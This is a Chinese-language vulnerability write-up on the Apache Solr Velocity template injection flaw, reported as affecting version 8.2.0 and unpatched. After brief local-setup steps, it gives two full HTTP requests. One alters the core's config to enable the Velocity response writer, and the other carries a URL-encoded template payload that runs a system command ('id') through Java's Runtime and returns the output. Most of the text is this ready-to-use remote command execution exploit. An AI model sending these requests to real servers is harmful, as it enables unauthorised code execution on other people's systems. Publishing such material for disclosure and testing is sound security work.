近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.该漏洞可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
暂无
包括但不限于8.2.0(最新版本)
环境准备 下载最新的Solr 直链:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip 解压以后,进入solr-8.1.0/bin目录 使用./solr -e dih -force开启示例app
点击左侧的Core Selector查看选项名称
默认有5个，以mail为实例演示
修改设置 POST /solr/mail/config HTTP/1.1 Host: 127.0.0.1:8983 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 Referer: http://206.189.43.186:8081/solr/ Accept-Encoding: gzip, deflate Content-Type: application/json Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6 Connection: close Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } 命令执行 GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983